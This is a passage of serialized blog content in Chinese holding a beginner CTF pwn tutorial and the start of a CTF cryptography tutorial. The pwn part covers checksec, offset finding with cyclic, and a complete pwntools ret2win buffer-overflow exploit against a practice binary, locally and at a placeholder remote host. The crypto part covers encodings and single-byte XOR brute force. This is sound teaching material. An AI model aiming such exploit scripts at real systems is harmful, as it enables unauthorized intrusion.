函数地址固定，可以直接写进 payload。\n",[10,2649,2651],{"id":2650},"四核心步骤-1checksec-看防护","四、核心步骤 1：checksec 看防护",[15,2653,2654,2656],{},[187,2655,189],{},"：开打之前先判断\"这条路能不能走\"，避免盲目构造 payload。",[15,2658,2659,2661],{},[187,2660,255],{},"：三个关键行——没有 canary 才能直接覆盖返回地址；NX 开启意味着不能放 shellcode（本阶段跳过）；No PIE 意味着程序内函数地址可以直接写死。",[15,2663,205],{},[19,2665,2667],{"className":152,"code":2666,"language":154,"meta":24,"style":24},"pwn checksec ./vuln\n",[26,2668,2669],{"__ignoreMap":24},[29,2670,2671,2673,2675],{"class":31,"line":32},[29,2672,814],{"class":161},[29,2674,817],{"class":169},[29,2676,2677],{"class":169}," ./vuln\n",[15,2679,385],{},[19,2681,2684],{"className":2682,"code":2683,"language":211,"meta":24},[209],"Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n",[26,2685,2683],{"__ignoreMap":24},[15,2687,2688],{},"只看三行：",[455,2690,2691,2703],{},[458,2692,2693],{},[461,2694,2695,2698,2700],{},[464,2696,2697],{},"行",[464,2699,1608],{},[464,2701,2702],{},"对我们意味着什么",[471,2704,2705,2718,2731],{},[461,2706,2707,2712,2715],{},[476,2708,2709],{},[26,2710,2711],{},"Stack: No canary found",[476,2713,2714],{},"没有栈金丝雀",[476,2716,2717],{},"可以直接覆盖返回地址",[461,2719,2720,2725,2728],{},[476,2721,2722],{},[26,2723,2724],{},"NX: NX enabled",[476,2726,2727],{},"栈不可执行",[476,2729,2730],{},"不能放 shellcode（本阶段先不管）",[461,2732,2733,2738,2741],{},[476,2734,2735],{},[26,2736,2737],{},"PIE: No PIE",[476,2739,2740],{},"程序地址固定",[476,2742,2743,2745],{},[26,2744,697],{}," 的地址可以直接写进 payload",[10,2747,2749],{"id":2748},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,2751,2752,2755],{},[26,2753,2754],{},"vuln"," 被调用时栈上自低到高：",[19,2757,2760],{"className":2758,"code":2759,"language":211,"meta":24},[209],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[26,2761,2759],{"__ignoreMap":24},[15,2763,2764,2765,2768],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[26,2766,2767],{},"cyclic"," 验证：",[19,2770,2772],{"className":311,"code":2771,"language":313,"meta":24,"style":24},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[26,2773,2774,2778,2782,2787,2792,2797,2802,2807,2812,2817,2822,2827,2832],{"__ignoreMap":24},[29,2775,2776],{"class":31,"line":32},[29,2777,320],{},[29,2779,2780],{"class":31,"line":38},[29,2781,101],{"emptyLinePlaceholder":100},[29,2783,2784],{"class":31,"line":104},[29,2785,2786],{},"p = process('./vuln')\n",[29,2788,2789],{"class":31,"line":110},[29,2790,2791],{},"p.sendline(cyclic(200))\n",[29,2793,2794],{"class":31,"line":116},[29,2795,2796],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[29,2798,2799],{"class":31,"line":122},[29,2800,2801],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[29,2803,2804],{"class":31,"line":128},[29,2805,2806],{},"p.wait()\n",[29,2808,2809],{"class":31,"line":134},[29,2810,2811],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[29,2813,2814],{"class":31,"line":140},[29,2815,2816],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[29,2818,2819],{"class":31,"line":146},[29,2820,2821],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[29,2823,2824],{"class":31,"line":367},[29,2825,2826],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[29,2828,2829],{"class":31,"line":373},[29,2830,2831],{},"print(offset)\n",[29,2833,2834],{"class":31,"line":379},[29,2835,2836],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,2838,385,2839,389],{},[26,2840,2841],{},"40",[10,2843,2845],{"id":2844},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[1268,2847,2849],{"id":2848},"api-1elf读符号地址","API 1：ELF——读符号地址",[19,2851,2853],{"className":311,"code":2852,"language":313,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[26,2854,2855,2859,2863,2868,2873,2878,2883],{"__ignoreMap":24},[29,2856,2857],{"class":31,"line":32},[29,2858,320],{},[29,2860,2861],{"class":31,"line":38},[29,2862,101],{"emptyLinePlaceholder":100},[29,2864,2865],{"class":31,"line":104},[29,2866,2867],{},"elf = ELF('./vuln')\n",[29,2869,2870],{"class":31,"line":110},[29,2871,2872],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[29,2874,2875],{"class":31,"line":116},[29,2876,2877],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[29,2879,2880],{"class":31,"line":122},[29,2881,2882],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[29,2884,2885],{"class":31,"line":128},[29,2886,2887],{},"print(hex(elf.symbols['win']))\n",[15,2889,385],{},[19,2891,2894],{"className":2892,"code":2893,"language":211,"meta":24},[209],"0x401176\n",[26,2895,2893],{"__ignoreMap":24},[1268,2897,2899],{"id":2898},"api-2process启动程序","API 2：process——启动程序",[19,2901,2902],{"className":311,"code":2786,"language":313,"meta":24,"style":24},[26,2903,2904],{"__ignoreMap":24},[29,2905,2906],{"class":31,"line":32},[29,2907,2786],{},[15,2909,2910,2911,933,2914,2917],{},"启动本地进程，之后用 ",[26,2912,2913],{},"p.sendline()",[26,2915,2916],{},"p.recvuntil()"," 交互。远程题目改成：",[19,2919,2921],{"className":311,"code":2920,"language":313,"meta":24,"style":24},"p = remote('1.2.3.4', 10001)\n",[26,2922,2923],{"__ignoreMap":24},[29,2924,2925],{"class":31,"line":32},[29,2926,2920],{},[1268,2928,2930],{"id":2929},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[19,2932,2934],{"className":311,"code":2933,"language":313,"meta":24,"style":24},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[26,2935,2936,2941,2946,2951,2956,2961,2966,2970],{"__ignoreMap":24},[29,2937,2938],{"class":31,"line":32},[29,2939,2940],{},"payload = b'A' * 40 + p64(0x401176)\n",[29,2942,2943],{"class":31,"line":38},[29,2944,2945],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[29,2947,2948],{"class":31,"line":104},[29,2949,2950],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[29,2952,2953],{"class":31,"line":110},[29,2954,2955],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[29,2957,2958],{"class":31,"line":116},[29,2959,2960],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[29,2962,2963],{"class":31,"line":122},[29,2964,2965],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[29,2967,2968],{"class":31,"line":128},[29,2969,534],{},[29,2971,2972],{"class":31,"line":134},[29,2973,2974],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,2976,2977,2980,2981,2983],{},[26,2978,2979],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[26,2982,259],{}," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,2985,2987],{"id":2986},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,2989,2990,2992],{},[187,2991,189],{},"：把前三步串成完整 exploit。",[15,2994,2995,2997],{},[187,2996,255],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[19,2999,3001],{"className":311,"code":3000,"language":313,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[26,3002,3003,3007,3011,3015,3019,3023,3028,3033,3038,3043,3047,3052,3056,3061],{"__ignoreMap":24},[29,3004,3005],{"class":31,"line":32},[29,3006,320],{},[29,3008,3009],{"class":31,"line":38},[29,3010,101],{"emptyLinePlaceholder":100},[29,3012,3013],{"class":31,"line":104},[29,3014,2867],{},[29,3016,3017],{"class":31,"line":110},[29,3018,2786],{},[29,3020,3021],{"class":31,"line":116},[29,3022,101],{"emptyLinePlaceholder":100},[29,3024,3025],{"class":31,"line":122},[29,3026,3027],{},"p.recvuntil(b'name?')\n",[29,3029,3030],{"class":31,"line":128},[29,3031,3032],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[29,3034,3035],{"class":31,"line":134},[29,3036,3037],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[29,3039,3040],{"class":31,"line":140},[29,3041,3042],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[29,3044,3045],{"class":31,"line":146},[29,3046,534],{},[29,3048,3049],{"class":31,"line":367},[29,3050,3051],{},"# 触发溢出：覆盖返回地址为 win。\n",[29,3053,3054],{"class":31,"line":373},[29,3055,907],{},[29,3057,3058],{"class":31,"line":379},[29,3059,3060],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[29,3062,3063],{"class":31,"line":775},[29,3064,3065],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,3067,3068],{},"预期结果：",[19,3070,3073],{"className":3071,"code":3072,"language":211,"meta":24},[209],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[26,3074,3072],{"__ignoreMap":24},[15,3076,3077,3078,3080,3081,3084],{},"程序跳到了 ",[26,3079,953],{},"，执行 ",[26,3082,3083],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[10,3086,958],{"id":957},[455,3088,3089,3099],{},[458,3090,3091],{},[461,3092,3093,3095,3097],{},[464,3094,967],{},[464,3096,970],{},[464,3098,973],{},[471,3100,3101,3125,3137],{},[461,3102,3103,3105,3123],{},[476,3104,980],{},[476,3106,3107,3110,3111,65,3113,3116,3117,3119,3120,3122],{},[26,3108,3109],{},"ELF()"," 读符号、",[26,3112,2767],{},[26,3114,3115],{},"cyclic_find"," 找偏移、",[26,3118,2979],{},"+",[26,3121,990],{}," 构造发送",[476,3124,996],{},[461,3126,3127,3129,3132],{},[476,3128,1001],{},[476,3130,3131],{},"查看栈保护、NX、PIE",[476,3133,3134],{},[26,3135,3136],{},"pwn checksec ./vuln",[461,3138,3139,3142,3145],{},[476,3140,3141],{},"GDB（+pwndbg）",[476,3143,3144],{},"断点、看栈、单步",[476,3146,3147,933,3150,933,3152],{},[26,3148,3149],{},"break vuln",[26,3151,1025],{},[26,3153,3154],{},"continue",[10,3156,3158],{"id":3157},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,3160,2229,3161,3164,3165,389],{},[26,3162,3163],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[26,3166,2754],{},[15,3168,3169],{},"第一步，本地验证：",[19,3171,3173],{"className":152,"code":3172,"language":154,"meta":24,"style":24},"python3 exploit.py\n",[26,3174,3175],{"__ignoreMap":24},[29,3176,3177,3180],{"class":31,"line":32},[29,3178,3179],{"class":161},"python3",[29,3181,3182],{"class":169}," exploit.py\n",[15,3184,3185,3186,3189,3190,3193],{},"第二步，把 ",[26,3187,3188],{},"process('./vuln')"," 改成 ",[26,3191,3192],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,3195,3196,3198],{},[187,3197,189],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,3200,3201,3203],{},[187,3202,1749],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[19,3205,3207],{"className":311,"code":3206,"language":313,"meta":24,"style":24},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[26,3208,3209,3213,3217,3221,3225,3230,3235,3239,3243,3247,3251,3256],{"__ignoreMap":24},[29,3210,3211],{"class":31,"line":32},[29,3212,320],{},[29,3214,3215],{"class":31,"line":38},[29,3216,101],{"emptyLinePlaceholder":100},[29,3218,3219],{"class":31,"line":104},[29,3220,2867],{},[29,3222,3223],{"class":31,"line":110},[29,3224,2920],{},[29,3226,3227],{"class":31,"line":116},[29,3228,3229],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[29,3231,3232],{"class":31,"line":122},[29,3233,3234],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[29,3236,3237],{"class":31,"line":128},[29,3238,101],{"emptyLinePlaceholder":100},[29,3240,3241],{"class":31,"line":134},[29,3242,3042],{},[29,3244,3245],{"class":31,"line":140},[29,3246,534],{},[29,3248,3249],{"class":31,"line":146},[29,3250,1085],{},[29,3252,3253],{"class":31,"line":367},[29,3254,3255],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[29,3257,3258],{"class":31,"line":373},[29,3259,907],{},[15,3261,385],{},[19,3263,3266],{"className":3264,"code":3265,"language":211,"meta":24},[209],"flag{ret2win}\n",[26,3267,3265],{"__ignoreMap":24},[10,3269,1101],{"id":1100},[15,3271,3272,3273,3275,3276,3278,3279,3281],{},"Pwn 入门主线：",[26,3274,1001],{}," 判断能不能直接打 → ",[26,3277,2767],{}," 确定偏移 → ",[26,3280,2979],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1114,3283,3284],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":24,"searchDepth":38,"depth":38,"links":3286},[3287,3288,3289,3290,3291,3292,3293,3294,3295,3296],{"id":2468,"depth":104,"text":2469},{"id":1213,"depth":104,"text":1214},{"id":2516,"depth":104,"text":2517},{"id":2650,"depth":104,"text":2651},{"id":2748,"depth":104,"text":2749},{"id":2844,"depth":104,"text":2845},{"id":2986,"depth":104,"text":2987},{"id":957,"depth":104,"text":958},{"id":3157,"depth":104,"text":3158},{"id":1100,"depth":104,"text":1101},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1132,"image":3299,"alt":3300,"tags":3301,"published":100},"/blogs-img/blog2.png","CTF Pwn 入门",[1136,814,1138],"/blogs/ctf-pwn-overview",{"title":2463,"description":3297},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":3307,"title":3308,"body":3309,"description":4302,"extension":1130,"meta":4303,"navigation":100,"ogImage":1133,"path":4307,"seo":4308,"stem":4309,"__hash__":4310},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":3310,"toc":4292},[3311,3315,3318,3386,3389,3475,3478,3484,3487,3511,3513,3519,3521,3541,3551,3555,3566,3570,3575,3619,3621,3627,3631,3636,3649,3722,3724,3730,3736,3740,3746,3777,3781,3784,3848,3850,3856,3860,3864,3867,3871,3876,3881,3922,3926,4053,4055,4061,4071,4073,4077,4080,4118,4122,4151,4155,4158,4187,4189,4195,4199,4202,4207,4210,4218,4277,4279,4284,4286,4289],[10,3312,3314],{"id":3313},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,3316,3317],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[455,3319,3320,3333],{},[458,3321,3322],{},[461,3323,3324,3327,3330],{},[464,3325,3326],{},"编码",[464,3328,3329],{},"现实应用",[464,3331,3332],{},"例子",[471,3334,3335,3352,3371],{},[461,3336,3337,3340,3343],{},[476,3338,3339],{},"Base64",[476,3341,3342],{},"邮件附件（MIME）、JWT 令牌、Data URI",[476,3344,3345,3348,3349],{},[26,3346,3347],{},"ZmxhZw=="," → ",[26,3350,3351],{},"flag",[461,3353,3354,3357,3364],{},[476,3355,3356],{},"Hex",[476,3358,3359,3360,3363],{},"颜色值 ",[26,3361,3362],{},"#FF0000","、MAC 地址、哈希摘要",[476,3365,3366,3348,3369],{},[26,3367,3368],{},"666c6167",[26,3370,3351],{},[461,3372,3373,3376,3379],{},[476,3374,3375],{},"URL 编码",[476,3377,3378],{},"浏览器地址栏中的中文与特殊字符",[476,3380,3381,3348,3384],{},[26,3382,3383],{},"%66%6c%61%67",[26,3385,3351],{},[15,3387,3388],{},"先运行最小的解码例子：",[19,3390,3392],{"className":311,"code":3391,"language":313,"meta":24,"style":24},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[26,3393,3394,3399,3404,3408,3413,3418,3423,3427,3432,3437,3442,3446,3451,3456,3461,3465,3470],{"__ignoreMap":24},[29,3395,3396],{"class":31,"line":32},[29,3397,3398],{},"import base64\n",[29,3400,3401],{"class":31,"line":38},[29,3402,3403],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[29,3405,3406],{"class":31,"line":104},[29,3407,101],{"emptyLinePlaceholder":100},[29,3409,3410],{"class":31,"line":110},[29,3411,3412],{},"print(base64.b64encode(b\"flag\"))\n",[29,3414,3415],{"class":31,"line":116},[29,3416,3417],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[29,3419,3420],{"class":31,"line":122},[29,3421,3422],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[29,3424,3425],{"class":31,"line":128},[29,3426,101],{"emptyLinePlaceholder":100},[29,3428,3429],{"class":31,"line":134},[29,3430,3431],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[29,3433,3434],{"class":31,"line":140},[29,3435,3436],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[29,3438,3439],{"class":31,"line":146},[29,3440,3441],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[29,3443,3444],{"class":31,"line":367},[29,3445,101],{"emptyLinePlaceholder":100},[29,3447,3448],{"class":31,"line":373},[29,3449,3450],{},"print(bytes.fromhex(\"666c6167\"))\n",[29,3452,3453],{"class":31,"line":379},[29,3454,3455],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[29,3457,3458],{"class":31,"line":775},[29,3459,3460],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[29,3462,3463],{"class":31,"line":781},[29,3464,101],{"emptyLinePlaceholder":100},[29,3466,3467],{"class":31,"line":786},[29,3468,3469],{},"print(b\"flag\".hex())\n",[29,3471,3472],{"class":31,"line":2600},[29,3473,3474],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,3476,3477],{},"实际输出：",[19,3479,3482],{"className":3480,"code":3481,"language":211,"meta":24},[209],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[26,3483,3481],{"__ignoreMap":24},[15,3485,3486],{},"URL 编码：",[19,3488,3490],{"className":311,"code":3489,"language":313,"meta":24,"style":24},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[26,3491,3492,3497,3501,3506],{"__ignoreMap":24},[29,3493,3494],{"class":31,"line":32},[29,3495,3496],{},"from urllib.parse import quote, unquote\n",[29,3498,3499],{"class":31,"line":38},[29,3500,101],{"emptyLinePlaceholder":100},[29,3502,3503],{"class":31,"line":104},[29,3504,3505],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[29,3507,3508],{"class":31,"line":110},[29,3509,3510],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[15,3512,3477],{},[19,3514,3517],{"className":3515,"code":3516,"language":211,"meta":24},[209],"%E4%BD%A0%E5%A5%BD\nflag\n",[26,3518,3516],{"__ignoreMap":24},[10,3520,1214],{"id":1213},[19,3522,3524],{"className":152,"code":3523,"language":154,"meta":24,"style":24},"pip3 install pycryptodome sympy gmpy2\n",[26,3525,3526],{"__ignoreMap":24},[29,3527,3528,3530,3532,3535,3538],{"class":31,"line":32},[29,3529,2508],{"class":161},[29,3531,1230],{"class":169},[29,3533,3534],{"class":169}," pycryptodome",[29,3536,3537],{"class":169}," sympy",[29,3539,3540],{"class":169}," gmpy2\n",[15,3542,3543,3544],{},"浏览器打开 CyberChef（",[3545,3546,3550],"a",{"href":3547,"rel":3548},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[3549],"nofollow","https://gchq.github.io/CyberChef）。",[10,3552,3554],{"id":3553},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,3556,3557,3558,3561,3562,3565],{},"异或的性质：",[26,3559,3560],{},"A ^ B = C","，且 ",[26,3563,3564],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[1268,3567,3569],{"id":3568},"_31-加密","3.1 加密",[15,3571,3572,3574],{},[187,3573,189],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[19,3576,3578],{"className":311,"code":3577,"language":313,"meta":24,"style":24},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[26,3579,3580,3585,3590,3594,3599,3604,3609,3614],{"__ignoreMap":24},[29,3581,3582],{"class":31,"line":32},[29,3583,3584],{},"plain = b\"flag{xor_is_easy}\"\n",[29,3586,3587],{"class":31,"line":38},[29,3588,3589],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[29,3591,3592],{"class":31,"line":104},[29,3593,101],{"emptyLinePlaceholder":100},[29,3595,3596],{"class":31,"line":110},[29,3597,3598],{},"cipher = bytes([b ^ key for b in plain])\n",[29,3600,3601],{"class":31,"line":116},[29,3602,3603],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[29,3605,3606],{"class":31,"line":122},[29,3607,3608],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[29,3610,3611],{"class":31,"line":128},[29,3612,3613],{},"print(cipher.hex())\n",[29,3615,3616],{"class":31,"line":134},[29,3617,3618],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,3620,3477],{},[19,3622,3625],{"className":3623,"code":3624,"language":211,"meta":24},[209],"242e2325393a2d301d2b311d2723313b3f\n",[26,3626,3624],{"__ignoreMap":24},[1268,3628,3630],{"id":3629},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,3632,3633,3635],{},[187,3634,189],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,3637,3638,3640,3641,3644,3645,3648],{},[187,3639,255],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[26,3642,3643],{},"flag{"," 开头，这就是天然的判据。用 ",[26,3646,3647],{},"b\"flag{\" in plain"," 过滤即可。",[19,3650,3652],{"className":311,"code":3651,"language":313,"meta":24,"style":24},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[26,3653,3654,3659,3664,3668,3673,3678,3683,3688,3693,3698,3703,3708,3713,3717],{"__ignoreMap":24},[29,3655,3656],{"class":31,"line":32},[29,3657,3658],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[29,3660,3661],{"class":31,"line":38},[29,3662,3663],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[29,3665,3666],{"class":31,"line":104},[29,3667,101],{"emptyLinePlaceholder":100},[29,3669,3670],{"class":31,"line":110},[29,3671,3672],{},"for k in range(256):\n",[29,3674,3675],{"class":31,"line":116},[29,3676,3677],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[29,3679,3680],{"class":31,"line":122},[29,3681,3682],{},"    plain = bytes([b ^ k for b in cipher])\n",[29,3684,3685],{"class":31,"line":128},[29,3686,3687],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[29,3689,3690],{"class":31,"line":134},[29,3691,3692],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[29,3694,3695],{"class":31,"line":140},[29,3696,3697],{},"    if b\"flag{\" in plain:\n",[29,3699,3700],{"class":31,"line":146},[29,3701,3702],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[29,3704,3705],{"class":31,"line":367},[29,3706,3707],{},"        print(\"key =\", k)           # 输出密钥数值\n",[29,3709,3710],{"class":31,"line":373},[29,3711,3712],{},"        print(plain.decode())       # 输出解密出的明文\n",[29,3714,3715],{"class":31,"line":379},[29,3716,382],{},[29,3718,3719],{"class":31,"line":775},[29,3720,3721],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,3723,3477],{},[19,3725,3728],{"className":3726,"code":3727,"language":211,"meta":24},[209],"key = 66\nflag{xor_is_easy}\n",[26,3729,3727],{"__ignoreMap":24},[15,3731,3732,3733,3735],{},"判断依据：明文包含 ",[26,3734,3643],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[1268,3737,3739],{"id":3738},"_33-多字节-xor-简介","3.3 多字节 XOR 